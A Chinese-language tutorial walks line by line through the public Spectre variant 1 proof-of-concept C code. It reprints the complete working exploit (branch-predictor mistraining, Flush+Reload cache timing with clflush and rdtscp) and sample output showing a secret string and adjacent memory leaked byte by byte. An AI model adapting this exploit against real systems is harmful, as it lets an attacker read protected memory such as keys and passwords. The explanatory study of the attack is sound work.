导语:本文我们将详细介绍Spectre实现攻击的细节,该攻击针对的是AMD、ARM和Intel CPU上发现的漏洞。
在本文中,我们将详细介绍Spectre实现攻击的细节,该攻击针对的是AMD、ARM和Intel CPU上发现的漏洞。
源代码
源代码如下:
#include <stdio.h> #include <stdint.h> #include <string.h> #ifdef _MSC_VER #include <intrin.h> /* for rdtscp and clflush */ #pragma optimize("gt", on) #else #include <x86intrin.h> /* for rdtscp and clflush */ #endif /* sscanf_s only works in MSVC. sscanf should work with other compilers*/ #ifndef _MSC_VER #define sscanf_s sscanf #endif /******************************************************************** Victim code. ********************************************************************/ unsigned int array1_size = 16; uint8_t unused1[64]; uint8_t array1[160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16}; uint8_t unused2[64]; uint8_t array2[256 * 512]; char* secret = "The Magic Words are Squeamish Ossifrage."; uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */ void victim_function(size_t x) { if (x < array1_size) { temp &= array2[array1[x] * 512]; } } /******************************************************************** Analysis code ********************************************************************/ #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */ /* Report best guess in value[0] and runner-up in value[1] */ void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) { static int results[256]; int tries, i, j, k, mix_i; unsigned int junk = 0; size_t training_x, x; register uint64_t time1, time2; volatile uint8_t* addr; for (i = 0; i < 256; i++) results[i] = 0; for (tries = 999; tries > 0; tries--) { /* Flush array2[256*(0..255)] from cache */ for (i = 0; i < 256; i++) _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */ /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */ training_x = tries % array1_size; for (j = 29; j >= 0; j--) { _mm_clflush(&array1_size); for (volatile int z = 0; z < 100; z++) { } /* Delay (can also mfence) */ /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */ /* Avoid jumps in case those tip off the branch predictor */ x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */ x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */ x = training_x ^ (x & (malicious_x ^ training_x)); /* Call the victim! */ victim_function(x); } /* Time reads. Order is lightly mixed up to prevent stride prediction */ for (i = 0; i < 256; i++) { mix_i = ((i * 167) + 13) & 255; addr = &array2[mix_i * 512]; time1 = __rdtscp(&junk); /* READ TIMER */ junk = *addr; /* MEMORY ACCESS TO TIME */ time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) results[mix_i]++; /* cache hit - add +1 to score for this value */ } /* Locate highest & second-highest results results tallies in j/k */ j = k = -1; for (i = 0; i < 256; i++) { if (j < 0 || results[i] >= results[j]) { k = j; j = i; } else if (k < 0 || results[i] >= results[k]) { k = i; } } if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */ } results[0] ^= junk; /* use junk so code above won't get optimized out*/ value[0] = (uint8_t)j; score[0] = results[j]; value[1] = (uint8_t)k; score[1] = results[k]; } int main(int argc, const char* * argv) { printf("Putting '%s' in memory, address %p\n", secret, (void *)(secret)); size_t malicious_x = (size_t)(secret - (char *)array1); /* default for malicious_x */ int score[2], len = strlen(secret); uint8_t value[2]; for (size_t i = 0; i < sizeof(array2); i++) array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */ if (argc == 3) { sscanf_s(argv[1], "%p", (void * *)(&malicious_x)); malicious_x -= (size_t)array1; /* Convert input value into a pointer */ sscanf_s(argv[2], "%d", &len); printf("Trying malicious_x = %p, len = %d\n", (void *)malicious_x, len); } printf("Reading %d bytes:\n", len); while (--len >= 0) { printf("Reading at malicious_x = %p... ", (void *)malicious_x); readMemoryByte(malicious_x++, value, score); printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear")); printf("0x%02X='%c' score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]); if (score[1] > 0) printf("(second best: 0x%02X='%c' score=%d)", value[1], (value[1] > 31 && value[1] < 127 ? value[1] : '?'), score[1]); printf("\n"); } #ifdef _MSC_VER printf("Press ENTER to exit\n"); getchar();/* Pause Windows console */ #endif return (0); }
第5行和第8行包含了用于Flush+Reload 缓存攻击的rdtscp和clflush 的适当文件。注意,这些指令在所有的处理器上都是不可用的。例如,rdtscp(用于读取时间戳计数器)通常只在较新的CPU上可用。rdtsc更常见,但不是序列化,这意味着CPU可能会对其重新排序,因此对于定时攻击,会将rdtsc与诸如cpuid之类的序列化指令一起使用。如果没有可用的rdtscp或者 rdtsc,还有其他的选择(我计划在后续的文章中详细说明在ARM上如何解决这个问题)。
a#ifdef _MSC_VER #include /* for rdtscp and clflush */ #pragma optimize("gt", on) #else #include /* for rdtscp and clflush */ #endif
在第21行,rray1代表了受害者和攻击者之间的共享内存空间。我们不关心该区域里面是什么。其代码大小是160字节,但这只是一个例子:它的另一种代码大小可以正常工作。
array1被两个未使用的数组包围:这些数组对于确保我们命中不同的缓存路径是很有用的。在许多处理器(如,Intel i3、i5、i7、ARM Cortex A53等)L1缓存每一路径有64个字节。
uint8_t unused1[64]; uint8_t array1[160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16}; uint8_t unused2[64];
在第25行,我们有保密信息。该保密信息只有受害者知道,也正是攻击者想要恢复的东西。
在PoC中,受害者和攻击者共享相同的进程。这只是为了让代码更简单。在现实中,受害者和攻击者共享一个内存空间,攻击者会具有调用victim_function()(第29-35行)的能力。并且我想知道为什么密码原文是“The Magic Words are Squeamish Ossifrage”。这是很奇怪的句子!在本例中,Wikipedia将其解释为从1977年开始的RSA密码挑战的解决方案。
然后,在第27-35行,有易受攻击的受害者函数。我对第27行的理解是,它是一个调整,以确保编译器不会在编译时删除victim_function() ,victim_function()本身在 Spectre paper的第4部分中得到了很好的解释。有了超过array1_size x的值,容易受到Spectre攻击的处理器可以进行如下操作:
1. 读取array1_size。这一操作会导致缓存丢失。 2. 尽管处理器正抓取array1_size——由于存在缓存缺失,array1_size是“长”的——但是分支预测器假设它是正确的(不正确的猜测)。 3. 推测读取array1[x]。该读取非常快速,因为它是缓存命中。 4. 读取array2[array1[x]* 512]。读取时间很长(缓存缺失)。 5. 虽然步骤4中的读取正在等待,但是步骤1的值已经到达。处理器检测到其猜测不正确,并重新调整了自身状态。
uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */ void victim_function(size_t x) { if (x < array1_size) { temp &= array2[array1[x] * 512]; } }
不知你是否注意到了,文章提到的 k*256?在这里k指的是array1[x](也就是array1[x] * 256),然而在代码array1[x] * 512中也含有array1[x]。乘法因子需要与缓存线路的大小相等。大概在实现的时候,作者意识到对于大多数Intel处理器来说,每一个缓存线路大小都是64字节,正如我们之前所说。即64 * 8 = 512。这个值依赖于处理器。从第43行开始,我们有了readMemoryByte() 函数。该函数将尝试猜测位于给定地址的值。对于所有可能的字节值(有256个),该函数将测试使用Flush+Reload缓存攻击访问该值所需的时间。各种时序存储在results表中,但是函数只返回了两个最佳猜测。
第52-53行仅仅初始化结果表。这里没有缓存攻击。
for (i = 0; i < 256; i++) results[i] = 0;
缓存攻击是在第54行和第89行之间实现的。首先,从一个纯净的状态开始,我们删除了整个array2表。该表是与攻击者共享的,它需要能够存储256个不同的缓存线路。而缓存线路的大小是512位。
for (i = 0; i < 256; i++) _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
接下来,我们的想法是调用victim_function() 几次(参见第62-77行)。在序列中,它将:
_mm_clflush(&array1_size);
首先,刷新缓存线路,接下来,根据我的理解,下面的代码行是用来确保刷新完成的,处理器不会重新排序。该评论提到,mfence可能会被发布,mfence是Intel和AMD的系列化指令。我相信一个cpuida也能工作。
for (volatile int z = 0; z < 100; z++) { } /* Delay (can also mfence) */
第三,计算x,这些线路很难理解。我相信作者们本可以找到一些更加可读的东西;)但是我们会看到这是一个很好的调整。
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */ /* Avoid jumps in case those tip off the branch predictor */ x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */ x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */ x = training_x ^ (x & (malicious_x ^ training_x));
第四,调用victim_function()
与其试图理解步骤3中的代码行,还不如更容易地使用aprintf编辑这些代码,并观察程序运行时的值。这就是我们得到的:
... j=23 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 j=22 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 j=21 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 j=20 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 j=19 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 j=18 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224 j=17 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 j=16 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 j=15 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 j=14 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 j=13 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 j=12 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224 ...
这些行将生成5次小写的x,这将导致victim_function(x)接受分支。这五次是用来训练分支预测器假设分支会被取走。由于之前的5次训练,一个易受攻击的过程将会在第6次迭代中执行if分支。
在一个错误的分支猜测调用了victim_function() 之后,我们会看到在缓存中访问给定的字节值需要多长时间。这才是缓存攻击的核心(第79-89行)。
/* Time reads. Order is lightly mixed up to prevent stride prediction */ for (i = 0; i < 256; i++) { mix_i = ((i * 167) + 13) & 255; addr = &array2[mix_i * 512]; time1 = __rdtscp(&junk); /* READ TIMER */ junk = *addr; /* MEMORY ACCESS TO TIME */ time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) results[mix_i]++; /* cache hit - add +1 to score for this value */ }
正如注释所言,我们并不是简单地测量一个序列中每个字节的访问时间,而是将它们混合在一起,这样处理器就无法猜测下一步它将访问哪个字节,然后优化访问。这是第82行处理的。
然后,在第83行,addr = &array2[mix_i * 512] 计算缓存线路的地址来进行检查。在下面84-86行中,我们测定访问该缓存线路中一个值的时间。如果速度很快,它就是缓存命中。如果是慢的,就是一个缓存缺失。如果我们有一个缓存命中,就意味着在之前对victim_function()的调用过程中,缓存线路是新近被访问的。请记住,之前对victim_function()的调用是用一个大写的x来运行的,目的是误导处理器。在执行过程中,处理器会推测性地(并错误地)访问array1[x],其x比数组的大小还大得多,因此导致对内存的读取远远超过了数组。x的选择(或猜测)将会在密文写入的区域被命中。例如,假设处理器读取密文中Magic的字母M。因此,array1[x]='M',从而在第33行,处理器访问array2['M'*512]。
提醒一下,这是victim_function()中的第33行:
temp &= array2[array1[x] * 512];
当处理器访问array2['M'*512] 时,它缓存的行号是(byte)'M'。所以,如果你跟着我到了这一步,你就会明白,这一操作揭示了密文中那个特定字符的值,就像mix_i = array1[x] = 'M'。因此,我们将记录下来results['M']是一个很好的缓存命中:
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) results[mix_i]++; /* cache hit - add +1 to score for this value */
对CACHE_HIT_THRESHOLD的测试非常清楚。在其之下是一个缓存命中,之上就不是。对于在研究的时间里,通过各种各样的测试来获得的CACHE_HIT_THRESHOLD的值,我持怀疑态度。为什么测试mix_i != array1[tries % array1_size]?我不确定这一点,但我怀疑它排除了这个索引,因为该索引通常会提供更多的缓存命中,因为尝试是当前的索引值。
readMemoryByte的其余部分并不是很有趣:它只选择它所发现的两个字节值,该选择是通过惊人的缓存命中实现的。
我们现在跳到了main()开头的118行:
size_t malicious_x = (size_t)(secret - (char *)array1); /* default for malicious_x */
这里发生了什么?在进程内存的布局中,我们有array1,然后是一串字节,然后是密文。因此,当我们读取array1超出其在victim_function()的限制时,如果我们想在密文中读取字节,我们需要跳过一个给定的字节偏移量。要计算偏移量,我们知道 array1 + offset = secret。所以, array1 + offset = secret:)
注意,如果我们想运行Spectre代码来读取内存的其他部分,这是完全有可能的。见第130 – 124行:
if (argc == 3) { sscanf_s(argv[1], "%p", (void * *)(&malicious_x)); malicious_x -= (size_t)array1; /* Convert input value into a pointer */ sscanf_s(argv[2], "%d", &len); printf("Trying malicious_x = %p, len = %dn", (void *)malicious_x, len); }
第一个参数是要读取的地址。第二个参数是我们想要读取的字节数。在下面的示例中,我们提供了密文的地址,只读取了10个字节。
$ ./spectre.out 0x400d08 10 Putting 'The Magic Words are Squeamish Ossifrage.' in memory Reading 10 bytes: Reading at malicious_x = 0xffffffffffdfec68 ... Success: 0x54='T' score=2 Reading at malicious_x = 0xffffffffffdfec69 ... Success: 0x68='h' score=2 Reading at malicious_x = 0xffffffffffdfec6a ... Success: 0x65='e' score=2 Reading at malicious_x = 0xffffffffffdfec6b ... Success: 0x20=' ' score=2 Reading at malicious_x = 0xffffffffffdfec6c ... Success: 0x4D='M' score=2 Reading at malicious_x = 0xffffffffffdfec6d ... Success: 0x61='a' score=2 Reading at malicious_x = 0xffffffffffdfec6e ... Success: 0x67='g' score=2 Reading at malicious_x = 0xffffffffffdfec6f ... Success: 0x69='i' score=2 Reading at malicious_x = 0xffffffffffdfec70 ... Success: 0x63='c' score=2 Reading at malicious_x = 0xffffffffffdfec71 ... Success: 0x20=' ' score=2
我们也可以试着读取比密文长度更多的字节。例如,下面我们读取100个字节,并识别内存中的Putting %s字符串,等等。
$ ./spectre.out 0x400d08 100 ... Reading at malicious_x = 0xffffffffffdfec8f ... Success: 0x2E='.' score=2 Reading at malicious_x = 0xffffffffffdfec90 ... Success: 0x00='?' score=2 Reading at malicious_x = 0xffffffffffdfec91 ... Success: 0x50='P' score=2 Reading at malicious_x = 0xffffffffffdfec92 ... Success: 0x75='u' score=2 Reading at malicious_x = 0xffffffffffdfec93 ... Success: 0x74='t' score=2 Reading at malicious_x = 0xffffffffffdfec94 ... Success: 0x74='t' score=2 Reading at malicious_x = 0xffffffffffdfec95 ... Success: 0x69='i' score=2 Reading at malicious_x = 0xffffffffffdfec96 ... Success: 0x6E='n' score=2 Reading at malicious_x = 0xffffffffffdfec97 ... Success: 0x67='g' score=2 Reading at malicious_x = 0xffffffffffdfec98 ... Success: 0x20=' ' score=2 Reading at malicious_x = 0xffffffffffdfec99 ... Success: 0x27=''' score=2 Reading at malicious_x = 0xffffffffffdfec9a ... Success: 0x25='%' score=2 Reading at malicious_x = 0xffffffffffdfec9b ... Success: 0x73='s' score=2 Reading at malicious_x = 0xffffffffffdfec9c ... Success: 0x27=''' score=2 Reading at malicious_x = 0xffffffffffdfec9d ... Success: 0x20=' ' score=2 Reading at malicious_x = 0xffffffffffdfec9e ... Success: 0x69='i' score=2 Reading at malicious_x = 0xffffffffffdfec9f ... Success: 0x6E='n' score=2 Reading at malicious_x = 0xffffffffffdfeca0 ... Success: 0x20=' ' score=2 Reading at malicious_x = 0xffffffffffdfeca1 ... Success: 0x6D='m' score=2 Reading at malicious_x = 0xffffffffffdfeca2 ... Success: 0x65='e' score=2 Reading at malicious_x = 0xffffffffffdfeca3 ... Success: 0x6D='m' score=2 Reading at malicious_x = 0xffffffffffdfeca4 ... Success: 0x6F='o' score=2 Reading at malicious_x = 0xffffffffffdfeca5 ... Success: 0x72='r' score=2 Reading at malicious_x = 0xffffffffffdfeca6 ... Success: 0x79='y' score=2 Reading at malicious_x = 0xffffffffffdfeca7 ... Success: 0x0A='?' score=2 Reading at malicious_x = 0xffffffffffdfeca8 ... Success: 0x00='?' score=2
第133-145行尝试读取内存中一个给定偏移量(malicious_x)中的len字节,使用Spectre攻击,该攻击是在readMemoryByte()中实现的。
while (--len >= 0) { printf("Reading at malicious_x = %p... ", (void *)malicious_x); readMemoryByte(malicious_x++, value, score); ...
回想一下,我们为readMemoryByte()返回最多的两个值,记录了两个以上的缓存命中。就我个人而言,在我尝试过的所有案例中,只有一个值或一个都没有。如果没有,程序就会显示“Unclear”这个词。如果有一个或两个值,程序将显示成功并输出值(参见第137-144行)。
希望你会感到跟随本文学习代码的愉快。